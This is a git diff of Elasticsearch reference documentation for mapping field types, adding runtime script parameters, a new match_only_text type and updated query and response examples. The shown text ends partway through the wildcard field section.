values that are returned are all in milliseconds-since-the-epoch. +[WARNING] +==== +Dates +// tag::decimal-warning[] +will accept numbers with a decimal point like `{"date": 1618249875.123456}` +but there are some cases ({es-issue}70085[#70085]) where we'll lose precision +on those dates so should avoid them. +// end::decimal-warning[] +==== + [[multiple-date-formats]] ==== Multiple date formats Multiple formats can be specified by separating them with `||` as a separator. -Each format will be tried in turn until a matching format is found. The first +Each format will be tried in turn until a matching format is found. The first format will be used to convert the _milliseconds-since-the-epoch_ value back into a string. -[source,console] +[source,console,id=date-format-example] -------------------------------------------------- PUT my-index-000001 { @@ -106,7 +120,7 @@ The following parameters are accepted by `date` fields: <>:: - The date format(s) that can be parsed. Defaults to + The date format(s) that can be parsed. Defaults to `strict_date_optional_time||epoch_millis`. `locale`:: @@ -118,7 +132,8 @@ The following parameters are accepted by `date` fields: <>:: If `true`, malformed numbers are ignored. If `false` (default), malformed - numbers throw an exception and reject the whole document. + numbers throw an exception and reject the whole document. Note that this + cannot be set if the `script` parameter is used. <>:: @@ -127,8 +142,30 @@ The following parameters are accepted by `date` fields: <>:: Accepts a date value in one of the configured +format+'s as the field - which is substituted for any explicit `null` values. Defaults to `null`, - which means the field is treated as missing. + which is substituted for any explicit `null` values. Defaults to `null`, + which means the field is treated as missing. Note that this cannot be + set of the `script` parameter is used. + + +`on_script_error`:: + + Defines what to do if the script defined by the `script` parameter + throws an error at indexing time. Accepts `fail` (default), which + will cause the entire document to be rejected, and `continue`, which + will register the field in the document's + <> metadata field and continue + indexing. This parameter can only be set if the `script` field is + also set. + +`script`:: + + If this parameter is set, then the field will index values generated + by this script, rather than reading the values directly from the + source. If a value is set for this field on the input document, then + the document will be rejected with an error. + Scripts are in the same format as their + <>, and should emit + long-valued timestamps. <>:: @@ -139,3 +176,55 @@ The following parameters are accepted by `date` fields: <>:: Metadata about the field. + + +[[date-epoch-seconds]] +==== Epoch seconds + +If you need to send dates as _seconds-since-the-epoch_ then make sure the +`format` lists `epoch_second`: + +[source,console,id=date-epoch-seconds-example] +---- +PUT my-index-000001 +{ + "mappings": { + "properties": { + "date": { + "type": "date", + "format": "strict_date_optional_time||epoch_second" + } + } + } +} + +PUT my-index-000001/_doc/example?refresh +{ "date": 1618321898 } + +POST my-index-000001/_search +{ + "fields": [ {"field": "date"}], + "_source": false +} +---- +// TEST[s/_search/_search?filter_path=hits.hits/] + +Which will reply with a date like: + +[source,console-result] +---- +{ + "hits": { + "hits": [ + { + "_id": "example", + "_index": "my-index-000001", + "_score": 1.0, + "fields": { + "date": ["2021-04-13T13:51:38.000Z"] + } + } + ] + } +} +---- diff --git a/docs/reference/mapping/types/date_nanos.asciidoc b/docs/reference/mapping/types/date_nanos.asciidoc index 65a45c8b0b49d..12b70b3b85a6b 100644 --- a/docs/reference/mapping/types/date_nanos.asciidoc +++ b/docs/reference/mapping/types/date_nanos.asciidoc @@ -18,20 +18,16 @@ back to a string depending on the date format that is associated with the field. Date formats can be customised, but if no `format` is specified then it uses the default: - "strict_date_optional_time||epoch_millis" - -This means that it will accept dates with optional timestamps, which conform -to the formats supported by -<> including up to nine second -fractionals or milliseconds-since-the-epoch (thus losing precision on the -nano second part). Using <> will -format the result up to only three second fractionals. To -print and parse up to nine digits of resolution, use <>. +[source,js] +---- + "strict_date_optional_time_nanos||epoch_millis" +---- +// NOTCONSOLE For instance: [source,console] --------------------------------------------------- +---- PUT my-index-000001 { "mappings": { @@ -43,56 +39,99 @@ PUT my-index-000001 } } -PUT my-index-000001/_doc/1 +PUT my-index-000001/_bulk?refresh +{ "index" : { "_id" : "1" } } { "date": "2015-01-01" } <2> - -PUT my-index-000001/_doc/2 +{ "index" : { "_id" : "2" } } { "date": "2015-01-01T12:10:30.123456789Z" } <3> - -PUT my-index-000001/_doc/3 -{ "date": 1420070400 } <4> +{ "index" : { "_id" : "3" } } +{ "date": 1420070400000 } <4> GET my-index-000001/_search { - "sort": { "date": "asc"} <5> -} - -GET my-index-000001/_search -{ - "script_fields" : { - "my_field" : { - "script" : { - "lang" : "painless", - "source" : "doc['date'].value.nano" <6> - } + "sort": { "date": "asc"}, <5> + "runtime_mappings": { + "date_has_nanos": { + "type": "boolean", + "script": "emit(doc['date'].value.nano != 0)" <6> } - } -} - -GET my-index-000001/_search -{ - "docvalue_fields" : [ + }, + "fields": [ + { + "field": "date", + "format": "strict_date_optional_time_nanos" <7> + }, { - "field" : "date", - "format": "strict_date_time" <7> + "field": "date_has_nanos" } ] } --------------------------------------------------- - +---- +// TEST[s/_search/_search?filter_path=hits.hits/] <1> The `date` field uses the default `format`. <2> This document uses a plain date. <3> This document includes a time. <4> This document uses milliseconds-since-the-epoch. <5> Note that the `sort` values that are returned are all in nanoseconds-since-the-epoch. -<6> Access the nanosecond part of the date in a script -<7> Use doc value fields, which can be formatted in nanosecond -resolution +<6> Use `.nano` in scripts to return the nanosecond component of the date. +<7> You can specify the format when fetching data using the <>. +Use <> or you'll get a rounded result. + +//// +[source,console-result] +---- +{ + "hits": { + "hits": [ + { + "_id": "1", + "_index": "my-index-000001", + "_score": null, + "_source": {"date": "2015-01-01"}, + "fields": { + "date": ["2015-01-01T00:00:00.000Z"], + "date_has_nanos": [false] + }, + "sort": [1420070400000000000] + }, + { + "_id": "3", + "_index": "my-index-000001", + "_score": null, + "_source": {"date": 1420070400000}, + "fields": { + "date": ["2015-01-01T00:00:00.000Z"], + "date_has_nanos": [false] + }, + "sort": [1420070400000000000] + }, + { + "_id": "2", + "_index": "my-index-000001", + "_score": null, + "_source": {"date": "2015-01-01T12:10:30.123456789Z"}, + "fields": { + "date": ["2015-01-01T12:10:30.123456789Z"], + "date_has_nanos": [true] + }, + "sort": [1420114230123456789] + } + ] + } +} +---- +//// You can also specify multiple date formats separated by `||`. The same mapping parameters than with the `date` field can be used. +[WARNING] +==== +Date nanoseconds +include::date.asciidoc[tag=decimal-warning] +==== + [[date-nanos-limitations]] ==== Limitations diff --git a/docs/reference/mapping/types/dense-vector.asciidoc b/docs/reference/mapping/types/dense-vector.asciidoc index bd8bf775092c9..95987477e4993 100644 --- a/docs/reference/mapping/types/dense-vector.asciidoc +++ b/docs/reference/mapping/types/dense-vector.asciidoc @@ -10,9 +10,8 @@ A `dense_vector` field stores dense vectors of float values. The maximum number of dimensions that can be in a vector should not exceed 2048. A `dense_vector` field is a single-valued field. -These vectors can be used for <>. -For example, a document score can represent a distance between -a given query vector and the indexed document vector. +`dense_vector` fields do not support querying, sorting or aggregating. They can +only be accessed in scripts through the dedicated <>. You index a dense vector as an array of floats. @@ -47,8 +46,4 @@ PUT my-index-000001/_doc/2 -------------------------------------------------- -<1> dims—the number of dimensions in the vector, required parameter. - -Internally, each document's dense vector is encoded as a binary -doc value. Its size in bytes is equal to -`4 * dims + 4`, where `dims`—the number of the vector's dimensions. +<1> dims – the number of dimensions in the vector, required parameter. diff --git a/docs/reference/mapping/types/flattened.asciidoc b/docs/reference/mapping/types/flattened.asciidoc index f18cae2b5780a..8bf740977010d 100644 --- a/docs/reference/mapping/types/flattened.asciidoc +++ b/docs/reference/mapping/types/flattened.asciidoc @@ -1,6 +1,3 @@ -[role="xpack"] -[testenv="basic"] - [[flattened]] === Flattened field type ++++ @@ -124,6 +121,76 @@ lexicographically. Flattened object fields currently cannot be stored. It is not possible to specify the <> parameter in the mapping. +[[search-fields-flattened]] +==== Retrieving flattened fields + +Field values and concrete subfields can be retrieved using the +<>. content. Since the `flattened` field maps an +entire object with potentially many subfields as a single field, the response contains +the unaltered structure from `_source`. + +Single subfields, however, can be fetched by specifying them explicitly in the request. +This only works for concrete paths, but not using wildcards: + +[source,console] +-------------------------------------------------- +PUT my-index-000001 +{ + "mappings": { + "properties": { + "flattened_field": { + "type": "flattened" + } + } + } +} + +PUT my-index-000001/_doc/1?refresh=true +{ + "flattened_field" : { + "subfield" : "value" + } +} + +POST my-index-000001/_search +{ + "fields": ["flattened_field.subfield"], + "_source": false +} +-------------------------------------------------- + +[source,console-result] +---- +{ + "took": 2, + "timed_out": false, + "_shards": { + "total": 1, + "successful": 1, + "skipped": 0, + "failed": 0 + }, + "hits": { + "total": { + "value": 1, + "relation": "eq" + }, + "max_score": 1.0, + "hits": [{ + "_index": "my-index-000001", + "_id": "1", + "_score": 1.0, + "fields": { + "flattened_field.subfield" : [ "value" ] + } + }] + } +} +---- +// TESTRESPONSE[s/"took": 2/"took": $body.took/] +// TESTRESPONSE[s/"max_score" : 1.0/"max_score" : $body.hits.max_score/] +// TESTRESPONSE[s/"_score" : 1.0/"_score" : $body.hits.hits.0._score/] + [[flattened-params]] ==== Parameters for flattened object fields @@ -136,7 +203,7 @@ The following mapping parameters are accepted: The maximum allowed depth of the flattened object field, in terms of nested inner objects. If a flattened object field exceeds this limit, then an error will be thrown. Defaults to `20`. Note that `depth_limit` can be - updated dynamically through the <> API. + updated dynamically through the <> API. <>:: diff --git a/docs/reference/mapping/types/geo-point.asciidoc b/docs/reference/mapping/types/geo-point.asciidoc index 3d5f76a28528f..03d9c731d93b8 100644 --- a/docs/reference/mapping/types/geo-point.asciidoc +++ b/docs/reference/mapping/types/geo-point.asciidoc @@ -123,20 +123,43 @@ The following parameters are accepted by `geo_point` fields: If `true`, malformed geo-points are ignored. If `false` (default), malformed geo-points throw an exception and reject the whole document. - A geo-point is considered malformed if its latitude is outside the range + A geo-point is considered malformed if its latitude is outside the range -90 <= latitude <= 90, or if its longitude is outside the range -180 <= longitude <= 180. + Note that this cannot be set if the `script` parameter is used. `ignore_z_value`:: If `true` (default) three dimension points will be accepted (stored in source) but only latitude and longitude values will be indexed; the third dimension is ignored. If `false`, geo-points containing any more than latitude and longitude - (two dimensions) values throw an exception and reject the whole document. + (two dimensions) values throw an exception and reject the whole document. Note + that this cannot be set if the `script` parameter is used. <>:: Accepts an geopoint value which is substituted for any explicit `null` values. - Defaults to `null`, which means the field is treated as missing. + Defaults to `null`, which means the field is treated as missing. Note that this + cannot be set if the `script` parameter is used. + +`on_script_error`:: + + Defines what to do if the script defined by the `script` parameter + throws an error at indexing time. Accepts `fail` (default), which + will cause the entire document to be rejected, and `continue`, which + will register the field in the document's + <> metadata field and continue + indexing. This parameter can only be set if the `script` field is + also set. + +`script`:: + + If this parameter is set, then the field will index values generated + by this script, rather than reading the values directly from the + source. If a value is set for this field on the input document, then + the document will be rejected with an error. + Scripts are in the same format as their + <>, and should emit points + as a pair of (lat, lon) double values. ==== Using geo-points in scripts diff --git a/docs/reference/mapping/types/geo-shape.asciidoc b/docs/reference/mapping/types/geo-shape.asciidoc index 7945c4435a4e8..caea17a6121a6 100644 --- a/docs/reference/mapping/types/geo-shape.asciidoc +++ b/docs/reference/mapping/types/geo-shape.asciidoc @@ -79,7 +79,7 @@ greater false positives. Note: This parameter is only relevant for `term` and `recursive` strategies. | `0.025` -|`orientation` +|`orientation` a|Optional. Vertex order for the shape's coordinates list. This parameter sets and returns only a `RIGHT` (counterclockwise) or `LEFT` @@ -189,8 +189,8 @@ number of levels for the quad trees in Elasticsearch is 29; the default is 21. [discrete] ===== Spatial strategies deprecated[6.6, PrefixTrees no longer used] The indexing implementation -selected relies on a SpatialStrategy for choosing how to decompose the shapes -(either as grid squares or a tessellated triangular mesh). Each strategy +selected relies on a SpatialStrategy for choosing how to decompose the shapes +(either as grid squares or a tessellated triangular mesh). Each strategy answers the following: * What type of Shapes can be indexed? @@ -342,7 +342,7 @@ POST /example/_doc A `linestring` defined by an array of two or more positions. By specifying only two points, the `linestring` will represent a straight -line. Specifying more than two points creates an arbitrary path. The +line. Specifying more than two points creates an arbitrary path. The following is an example of a LineString in GeoJSON. [source,console] @@ -443,7 +443,7 @@ but for polygons that do cross the dateline (or for other polygons wider than GeoJSON specifications. Otherwise, an unintended polygon may be created and unexpected query/filter results will be returned. -The following provides an example of an ambiguous polygon. Elasticsearch will +The following provides an example of an ambiguous polygon. Elasticsearch will apply the GeoJSON standard to eliminate ambiguity resulting in a polygon that crosses the dateline. @@ -463,7 +463,7 @@ POST /example/_doc // TEST[catch:/mapper_parsing_exception/] An `orientation` parameter can be defined when setting the geo_shape mapping (see <>). This will define vertex -order for the coordinate list on the mapped geo_shape field. It can also be overridden on each document. The following is an example for +order for the coordinate list on the mapped geo_shape field. It can also be overridden on each document. The following is an example for overriding the orientation on a document: [source,console] @@ -642,26 +642,12 @@ POST /example/_doc ===== Circle Elasticsearch supports a `circle` type, which consists of a center -point with a radius. Note that this circle representation can only -be indexed when using the `recursive` Prefix Tree strategy. For -the default <> circles should be approximated using -a `POLYGON`. +point with a radius. -[source,console] --------------------------------------------------- -POST /example/_doc -{ - "location" : { - "type" : "circle", - "coordinates" : [101.0, 1.0], - "radius" : "100m" - } -} --------------------------------------------------- -// TEST[skip:not supported in default] - -Note: The inner `radius` field is required. If not specified, then -the units of the `radius` will default to `METERS`. +IMPORTANT: You cannot index the `circle` type using the default +<>. Instead, use a +<> to approximate the circle as +a <>. *NOTE:* Neither GeoJSON or WKT support a point-radius circle type. diff --git a/docs/reference/mapping/types/histogram.asciidoc b/docs/reference/mapping/types/histogram.asciidoc index e47ea875e1ac3..3fd0f604bbdb8 100644 --- a/docs/reference/mapping/types/histogram.asciidoc +++ b/docs/reference/mapping/types/histogram.asciidoc @@ -6,7 +6,7 @@ Histogram ++++ -A field to store pre-aggregated numerical data representing a histogram. +A field to store pre-aggregated numerical data representing a histogram. This data is defined using two paired arrays: * A `values` array of <> numbers, representing the buckets for diff --git a/docs/reference/mapping/types/ip.asciidoc b/docs/reference/mapping/types/ip.asciidoc index 83c71a5200adb..322c58fad96ff 100644 --- a/docs/reference/mapping/types/ip.asciidoc +++ b/docs/reference/mapping/types/ip.asciidoc @@ -54,7 +54,8 @@ The following parameters are accepted by `ip` fields: <>:: If `true`, malformed IP addresses are ignored. If `false` (default), malformed - IP addresses throw an exception and reject the whole document. + IP addresses throw an exception and reject the whole document. Note that this + cannot be set if the `script` parameter is used. <>:: @@ -63,7 +64,28 @@ The following parameters are accepted by `ip` fields: <>:: Accepts an IPv4 or IPv6 value which is substituted for any explicit `null` values. - Defaults to `null`, which means the field is treated as missing. + Defaults to `null`, which means the field is treated as missing. Note that + this cannot be set if the `script` parameter is used. + +`on_script_error`:: + + Defines what to do if the script defined by the `script` parameter + throws an error at indexing time. Accepts `reject` (default), which + will cause the entire document to be rejected, and `ignore`, which + will register the field in the document's + <> metadata field and continue + indexing. This parameter can only be set if the `script` field is + also set. + +`script`:: + + If this parameter is set, then the field will index values generated + by this script, rather than reading the values directly from the + source. If a value is set for this field on the input document, then + the document will be rejected with an error. + Scripts are in the same format as their + <>, and should emit strings + containing IPv4 or IPv6 formatted addresses. <>:: diff --git a/docs/reference/mapping/types/keyword.asciidoc b/docs/reference/mapping/types/keyword.asciidoc index 855f76d15b269..b32c04d43ef79 100644 --- a/docs/reference/mapping/types/keyword.asciidoc +++ b/docs/reference/mapping/types/keyword.asciidoc @@ -8,11 +8,12 @@ The keyword family includes the following field types: * <>, which is used for structured content such as IDs, email -addresses, hostnames, status codes, zip codes, or tags. +addresses, hostnames, status codes, zip codes, or tags. * <> for keyword fields that always contain the same value. -* <>, which optimizes log lines and similar keyword values -for grep-like <>. +* <> for unstructured machine-generated content. +The `wildcard` type is optimized for fields with large values or high +cardinality. Keyword fields are often used in <>, <>, and <>:: - Do not index any string longer than this value. Defaults to `2147483647` + Do not index any string longer than this value. Defaults to `2147483647` so that all values would be accepted. Please however note that default dynamic mapping rules create a sub `keyword` field that overrides this default by setting `ignore_above: 256`. @@ -98,7 +99,29 @@ The following parameters are accepted by `keyword` fields: <>:: Accepts a string value which is substituted for any explicit `null` - values. Defaults to `null`, which means the field is treated as missing. + values. Defaults to `null`, which means the field is treated as missing. + Note that this cannot be set if the `script` value is used. + +`on_script_error`:: + + Defines what to do if the script defined by the `script` parameter + throws an error at indexing time. Accepts `fail` (default), which + will cause the entire document to be rejected, and `continue`, which + will register the field in the document's + <> metadata field and continue + indexing. This parameter can only be set if the `script` field is + also set. + +`script`:: + + If this parameter is set, then the field will index values generated + by this script, rather than reading the values directly from the + source. If a value is set for this field on the input document, then + the document will be rejected with an error. + Scripts are in the same format as their + <>. Values emitted by the + script are normalized as usual, and will be ignored if they are longer + that the value set on `ignore_above`. <>:: diff --git a/docs/reference/mapping/types/match-only-text.asciidoc b/docs/reference/mapping/types/match-only-text.asciidoc new file mode 100644 index 0000000000000..b3afa99ae54a4 --- /dev/null +++ b/docs/reference/mapping/types/match-only-text.asciidoc @@ -0,0 +1,59 @@ +[discrete] +[[match-only-text-field-type]] +=== Match-only text field type + +A variant of <> that trades scoring and efficiency of +positional queries for space efficiency. This field effectively stores data the +same way as a `text` field that only indexes documents (`index_options: docs`) +and disables norms (`norms: false`). Term queries perform as fast if not faster +as on `text` fields, however queries that need positions such as the +<> perform slower as they +need to look at the `_source` document to verify whether a phrase matches. All +queries return constant scores that are equal to 1.0. + +Analysis is not configurable: text is always analyzed with the +<> +(<> by default). + +<> are not supported with this field, use +<> instead, or the +<> field type if you absolutely need span queries. + +Other than that, `match_only_text` supports the same queries as `text`. And +like `text`, it does not support sorting and has only limited support for aggretations. + +[source,console] +-------------------------------- +PUT logs +{ + "mappings": { + "properties": { + "@timestamp": { + "type": "date" + }, + "message": { + "type": "match_only_text" + } + } + } +} +-------------------------------- + +[discrete] +[[match-only-text-params]] +==== Parameters for match-only text fields + +The following mapping parameters are accepted: + +[horizontal] + +<>:: + + Multi-fields allow the same string value to be indexed in multiple ways for + different purposes, such as one field for search and a multi-field for + sorting and aggregations, or the same string value analyzed by different + analyzers. + +<>:: + + Metadata about the field. diff --git a/docs/reference/mapping/types/nested.asciidoc b/docs/reference/mapping/types/nested.asciidoc index 0aec51d2b6d31..8611205cb749d 100644 --- a/docs/reference/mapping/types/nested.asciidoc +++ b/docs/reference/mapping/types/nested.asciidoc @@ -51,7 +51,7 @@ The previous document would be transformed internally into a document that looks // NOTCONSOLE The `user.first` and `user.last` fields are flattened into multi-value fields, -and the association between `alice` and `white` is lost. This document would +and the association between `alice` and `white` is lost. This document would incorrectly match a query for `alice AND smith`: [source,console] @@ -172,13 +172,13 @@ Nested documents can be: ============================================= Because nested documents are indexed as separate documents, they can only be -accessed within the scope of the `nested` query, the +accessed within the scope of the `nested` query, the `nested`/`reverse_nested` aggregations, or <>. For instance, if a string field within a nested document has <> set to `offsets` to allow use of the postings during the highlighting, these offsets will not be available during the main highlighting -phase. Instead, highlighting needs to be performed via +phase. Instead, highlighting needs to be performed via <>. The same consideration applies when loading fields during a search through <> or <>. @@ -193,7 +193,7 @@ The following parameters are accepted by `nested` fields: <>:: (Optional, string) Whether or not new `properties` should be added dynamically to an existing -nested object. Accepts `true` (default), `false` and `strict`. +nested object. Accepts `true` (default), `false` and `strict`. <>:: (Optional, object) diff --git a/docs/reference/mapping/types/numeric.asciidoc b/docs/reference/mapping/types/numeric.asciidoc index c03554ec142f0..0389900ae5114 100644 --- a/docs/reference/mapping/types/numeric.asciidoc +++ b/docs/reference/mapping/types/numeric.asciidoc @@ -117,6 +117,7 @@ The following parameters are accepted by numeric types: Try to convert strings to numbers and truncate fractions for integers. Accepts `true` (default) and `false`. Not applicable for `unsigned_long`. + Note that this cannot be set if the `script` parameter is used. <>:: @@ -127,7 +128,8 @@ The following parameters are accepted by numeric types: <>:: If `true`, malformed numbers are ignored. If `false` (default), malformed - numbers throw an exception and reject the whole document. + numbers throw an exception and reject the whole document. Note that this + cannot be set if the `script` parameter is used. <>:: @@ -136,8 +138,29 @@ The following parameters are accepted by numeric types: <>:: Accepts a numeric value of the same `type` as the field which is - substituted for any explicit `null` values. Defaults to `null`, which - means the field is treated as missing. + substituted for any explicit `null` values. Defaults to `null`, which + means the field is treated as missing. Note that this cannot be set + if the `script` parameter is used. + +`on_script_error`:: + + Defines what to do if the script defined by the `script` parameter + throws an error at indexing time. Accepts `fail` (default), which + will cause the entire document to be rejected, and `continue`, which + will register the field in the document's + <> metadata field and continue + indexing. This parameter can only be set if the `script` field is + also set. + +`script`:: + + If this parameter is set, then the field will index values generated + by this script, rather than reading the values directly from the + source. If a value is set for this field on the input document, then + the document will be rejected with an error. + Scripts are in the same format as their + <>. Scripts can only be + configured on `long` and `double` field types. <>:: diff --git a/docs/reference/mapping/types/object.asciidoc b/docs/reference/mapping/types/object.asciidoc index 0a68bb3b2e7fe..7aa276393af8d 100644 --- a/docs/reference/mapping/types/object.asciidoc +++ b/docs/reference/mapping/types/object.asciidoc @@ -82,7 +82,7 @@ The following parameters are accepted by `object` fields: <>:: Whether or not new `properties` should be added dynamically - to an existing object. Accepts `true` (default), `false` + to an existing object. Accepts `true` (default), `false` and `strict`. <>:: diff --git a/docs/reference/mapping/types/parent-join.asciidoc b/docs/reference/mapping/types/parent-join.asciidoc index 8a4d1e66b390d..6c0aa0c36b1cc 100644 --- a/docs/reference/mapping/types/parent-join.asciidoc +++ b/docs/reference/mapping/types/parent-join.asciidoc @@ -269,7 +269,7 @@ and scripts, and may be queried with the <>: [source,console] --------------------------- +---- GET my-index-000001/_search { "query": { @@ -286,21 +286,70 @@ GET my-index-000001/_search } } }, - "script_fields": { + "runtime_mappings": { "parent": { - "script": { - "source": "doc['my_join_field#question']" <3> - } + "type": "long", + "script": """ + emit(Integer.parseInt(doc['my_join_field#question'].value)) <3> + """ } - } + }, + "fields": [ + { "field": "parent" } + ] } --------------------------- +---- // TEST[continued] - +// TEST[s/_search/_search?filter_path=aggregations,hits.hits&sort=my_id/] <1> Querying the `parent id` field (also see the <> and the <>) <2> Aggregating on the `parent id` field (also see the <> aggregation) -<3> Accessing the parent id` field in scripts +<3> Accessing the `parent id` field in scripts. +//// +[source,console-result] +---- +{ + "aggregations": { + "parents": { + "doc_count_error_upper_bound": 0, + "sum_other_doc_count": 0, + "buckets": [ + { + "key": "1", + "doc_count": 2 + } + ] + } + }, + "hits": { + "hits": [ + { + "_id": "3", + "_index": "my-index-000001", + "_score": null, + "_routing": "1", + "_source": $body.hits.hits.0._source, + "fields": { + "parent": [1] + }, + "sort": ["3"] + }, + { + "_id": "4", + "_index": "my-index-000001", + "_score": null, + "_routing": "1", + "_source": $body.hits.hits.1._source, + "fields": { + "parent": [1] + }, + "sort": ["4"] + } + ] + } +} +---- +//// ==== Global ordinals diff --git a/docs/reference/mapping/types/percolator.asciidoc b/docs/reference/mapping/types/percolator.asciidoc index 518f62c94bc4e..073c71c1470e2 100644 --- a/docs/reference/mapping/types/percolator.asciidoc +++ b/docs/reference/mapping/types/percolator.asciidoc @@ -53,7 +53,7 @@ PUT my-index-000001/_doc/match_value Fields referred to in a percolator query must *already* exist in the mapping associated with the index used for percolation. In order to make sure these fields exist, -add or update a mapping via the <> or <> APIs. +add or update a mapping via the <> or <> APIs. ===================================== @@ -414,7 +414,7 @@ This results in a response like this: [discrete] ==== Optimizing wildcard queries. -Wildcard queries are more expensive than other queries for the percolator, +Wildcard queries are more expensive than other queries for the percolator, especially if the wildcard expressions are large. In the case of `wildcard` queries with prefix wildcard expressions or just the `prefix` query, @@ -732,7 +732,7 @@ aren't available. [discrete] ===== Field aliases -Percolator queries that contain <> may not always behave as expected. In particular, if a +Percolator queries that contain <> may not always behave as expected. In particular, if a percolator query is registered that contains a field alias, and then that alias is updated in the mappings to refer to a different field, the stored query will still refer to the original target field. To pick up the change to the field alias, the percolator query must be explicitly reindexed. diff --git a/docs/reference/mapping/types/rank-features.asciidoc b/docs/reference/mapping/types/rank-features.asciidoc index 69bbdbb0bc4db..8be5e00185788 100644 --- a/docs/reference/mapping/types/rank-features.asciidoc +++ b/docs/reference/mapping/types/rank-features.asciidoc @@ -20,6 +20,10 @@ PUT my-index-000001 "properties": { "topics": { "type": "rank_features" <1> + }, + "negative_reviews" : { + "type": "rank_features", + "positive_score_impact": false <2> } } } @@ -27,9 +31,13 @@ PUT my-index-000001 PUT my-index-000001/_doc/1 { - "topics": { <2> + "topics": { <3> "politics": 20, "economics": 50.8 + }, + "negative_reviews": { + "1star": 10, + "2star": 100 } } @@ -38,21 +46,38 @@ PUT my-index-000001/_doc/2 "topics": { "politics": 5.2, "sports": 80.1 + }, + "negative_reviews": { + "1star": 1, + "2star": 10 } } GET my-index-000001/_search { - "query": { + "query": { <4> "rank_feature": { "field": "topics.politics" } } } + +GET my-index-000001/_search +{ + "query": { <5> + "rank_feature": { + "field": "negative_reviews.1star" + } + } +} -------------------------------------------------- <1> Rank features fields must use the `rank_features` field type -<2> Rank features fields must be a hash with string keys and strictly positive numeric values +<2> Rank features that correlate negatively with the score need to declare it +<3> Rank features fields must be a hash with string keys and strictly positive numeric values +<4> This query ranks documents by how much they are about the "politics" topic. +<5> This query ranks documents inversely to the number of "1star" reviews they received. + NOTE: `rank_features` fields only support single-valued features and strictly positive values. Multi-valued fields and zero or negative values will be rejected. @@ -63,3 +88,8 @@ only be queried using <> queries. NOTE: `rank_features` fields only preserve 9 significant bits for the precision, which translates to a relative error of about 0.4%. +Rank features that correlate negatively with the score should set +`positive_score_impact` to `false` (defaults to `true`). This will be used by +the <> query to modify the scoring formula +in such a way that the score decreases with the value of the feature instead of +increasing. diff --git a/docs/reference/mapping/types/shape.asciidoc b/docs/reference/mapping/types/shape.asciidoc index 9599da3325a5c..a2236ffc8b38f 100644 --- a/docs/reference/mapping/types/shape.asciidoc +++ b/docs/reference/mapping/types/shape.asciidoc @@ -28,7 +28,7 @@ fields to the shape type. |Option |Description| Default |`orientation` |Optionally define how to interpret vertex order for -polygons / multipolygons. This parameter defines one of two coordinate +polygons / multipolygons. This parameter defines one of two coordinate system rules (Right-hand or Left-hand) each of which can be specified in three different ways. 1. Right-hand rule: `right`, `ccw`, `counterclockwise`, 2. Left-hand rule: `left`, `cw`, `clockwise`. The default orientation @@ -164,7 +164,7 @@ POST /example/_doc A `linestring` defined by an array of two or more positions. By specifying only two points, the `linestring` will represent a straight -line. Specifying more than two points creates an arbitrary path. The +line. Specifying more than two points creates an arbitrary path. The following is an example of a LineString in GeoJSON. [source,console] diff --git a/docs/reference/mapping/types/text.asciidoc b/docs/reference/mapping/types/text.asciidoc index 6a3d90e074eb4..afd318c8aaf49 100644 --- a/docs/reference/mapping/types/text.asciidoc +++ b/docs/reference/mapping/types/text.asciidoc @@ -1,18 +1,36 @@ +[testenv="basic"] [[text]] -=== Text field type +=== Text type family ++++ Text ++++ +The text family includes the following field types: + +* <>, the traditional field type for full-text content +such as the body of an email or the description of a product. +* <>, a space-optimized variant +of `text` that disables scoring and performs slower on queries that need +positions. It is best suited for indexing log messages. + + +[discrete] +[[text-field-type]] +=== Text field type + A field to index full-text values, such as the body of an email or the description of a product. These fields are `analyzed`, that is they are passed through an <> to convert the string into a list of individual terms before being indexed. The analysis process allows Elasticsearch to search for -individual words _within_ each full text field. Text fields are not +individual words _within_ each full text field. Text fields are not used for sorting and seldom used for aggregations (although the <> is a notable exception). +`text` fields are best suited for unstructured but human-readable content. If +you need to index unstructured machine-generated content, see +<>. + If you need to index structured content such as email addresses, hostnames, status codes, or tags, it is likely that you should rather use a <> field. @@ -89,16 +107,16 @@ The following parameters are accepted by `text` fields: <>:: If enabled, term prefixes of between 2 and 5 characters are indexed into a - separate field. This allows prefix searches to run more efficiently, at + separate field. This allows prefix searches to run more efficiently, at the expense of a larger index. <>:: If enabled, two-term word combinations ('shingles') are indexed into a separate - field. This allows exact phrase queries (no slop) to run more efficiently, at the expense - of a larger index. Note that this works best when stopwords are not removed, + field. This allows exact phrase queries (no slop) to run more efficiently, at the expense + of a larger index. Note that this works best when stopwords are not removed, as phrases containing stopwords will not use the subsidiary field and will fall - back to a standard phrase query. Accepts `true` or `false` (default). + back to a standard phrase query. Accepts `true` or `false` (default). <>:: @@ -149,7 +167,7 @@ The following parameters are accepted by `text` fields: aggregations, sorting, or scripting. If you try to sort, aggregate, or access values from a script on a `text` field, you will see this exception: -Fielddata is disabled on text fields by default. Set `fielddata=true` on +Fielddata is disabled on text fields by default. Set `fielddata=true` on `your_field_name` in order to load fielddata in memory by uninverting the inverted index. Note that this can however use significant memory. @@ -195,7 +213,7 @@ PUT my-index-000001 ==== Enabling fielddata on `text` fields You can enable fielddata on an existing `text` field using the -<> as follows: +<> as follows: [source,console] ----------------------------------- @@ -249,3 +267,5 @@ PUT my-index-000001 } } -------------------------------------------------- + +include::match-only-text.asciidoc[] diff --git a/docs/reference/mapping/types/token-count.asciidoc b/docs/reference/mapping/types/token-count.asciidoc index 65aa19b5525bc..23bbc775243af 100644 --- a/docs/reference/mapping/types/token-count.asciidoc +++ b/docs/reference/mapping/types/token-count.asciidoc @@ -83,7 +83,7 @@ Defaults to `true`. <>:: Accepts a numeric value of the same `type` as the field which is - substituted for any explicit `null` values. Defaults to `null`, which + substituted for any explicit `null` values. Defaults to `null`, which means the field is treated as missing. <>:: diff --git a/docs/reference/mapping/types/wildcard.asciidoc b/docs/reference/mapping/types/wildcard.asciidoc index 7f27cd80ea334..a0bb12b10fd7d 100644 --- a/docs/reference/mapping/types/wildcard.asciidoc +++ b/docs/reference/mapping/types/wildcard.asciidoc @@ -4,16 +4,74 @@ [[wildcard-field-type]] === Wildcard field type -A `wildcard` field stores values optimised for wildcard grep-like queries. -Wildcard queries are possible on other field types but suffer from constraints: - -* `text` fields limit matching of any wildcard expressions to individual tokens rather than the original whole value held in a field -* `keyword` fields are untokenized but slow at performing wildcard queries (especially patterns with leading wildcards). +The `wildcard` field type is a specialized keyword field for unstructured +machine-generated content you plan to search using grep-like +<> and <> +queries. The `wildcard` type is optimized for fields with large values or high +cardinality. + +[[mapping-unstructured-content]] +.Mapping unstructured content +**** +You can map a field containing unstructured content to either a `text` or +keyword family field. The best field type depends on the nature of the content +and how you plan to search the field. + +Use the `text` field type if: + +* The content is human-readable, such as 